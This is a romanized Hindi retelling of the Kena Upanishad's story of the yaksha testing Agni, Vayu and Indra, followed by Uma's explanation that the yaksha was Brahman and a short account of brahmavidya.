• sabase pahale agnidev ne jakar yaksh se usaka parichay poochha. yaksh ne agnidev se unaka parichay poochha-'ap kaun haian?
• agnidev ne uttar diya ki vah agni hai aur log use jataveda kahate haian. vah chahe, to is prithvi par jo kuchh bhi hai, use bhasm kar sakata hai, jala sakata hai.
• tab yaksh ne ek tinaka agnidev ke sammukh rakhakar kaha-'ap ise jala dijiye.'
• agnidev ne bahut prayatn kiya, par ve us tinake ko jala nahian sake. harakar unhoanne any devoan ke pas lautakar kaha ki ve us yaksh ko nahian jan sake.
• usake bad vayu dev ne jakar apana parichay diya aur apani shakti ka badh-chadhakar bakhan kiya. is par yaksh ne vayu se kaha ki ve is tinake ko u da dean, parantu apani sari shakti lagane par bhi vayudev us tinake ko u da nahian sake. tab vayudev ne indr ke samaksh lautakar kaha ki ve us yaksh ko samajhane mean asamarth rahe. unhoanne indr se pata lagane ke lie kaha.
• indr ne yaksh ka pata lagane ke lie tivragati se yaksh ki or prayan kiya, parantu usake vahaan pahuanchane se pahale hi yaksh antardhan ho gaya. tab indr ne bhagavati uma se yaksh ke bare mean prashn kiya ki yah yaksh kaun tha?

chautha khand

vahi brahm hai

• indr ke prashn ko sunakar umadevi ne kaha-'he devaraj! samast devoan mean agni, vayu aur svayan ap shreshth mane jate haian; kyoanki brahm ko shakti-roop mean inhian tin devoan ne sarvapratham samajha tha aur brahm ka sakshatkar kiya tha. yah yaksh vahi brahm tha. brahm ki vijay hi samast devoan ki vijay hai.'
• indr ke sammukh yaksh ka antardhan hona, brahm ki upasthiti ka sanket- bijali ke chamakane aur jhapakane- jaisa hai. ise sookshm daivik sanket samajhana chahie. man jab 'brahm' ke nikat hone ka sankalp karake brahm-prapti ka anubhav karata hua-sa pratit ho, tab vah brahm ki upasthiti ka sookshm sanket hota hai.
• jo vyakti brahm ke 'ras-svaroop' ka bodh karata hai, use hi atmatattv ki prapti ho pati hai. tapasya, man aur indriyoan ka niyantran tatha asakti-rahit shreshth karm, ye brahmavidya-prapti ke adhar haian. vedoan mean is vidya ka savistar varnan hai. is brahmavidya ko janane vala sadhak apane samast papoan ko nasht hua manakar us avinashi, asim aur paramadham ko prapt kar leta hai.
• tab indr ko yaksh ke tatvik svaroop ka bodh hua aur unhoanne apane ahankar ka tyag kiya.
• ant mean brahmavetta jijnasu shishyoan ko batata hai ki is upanishad dvara tumhean brahm-prapti ka marg dikhaya gaya hai. is par chalakar tum brahm ke nikat pahuanch sakate ho.
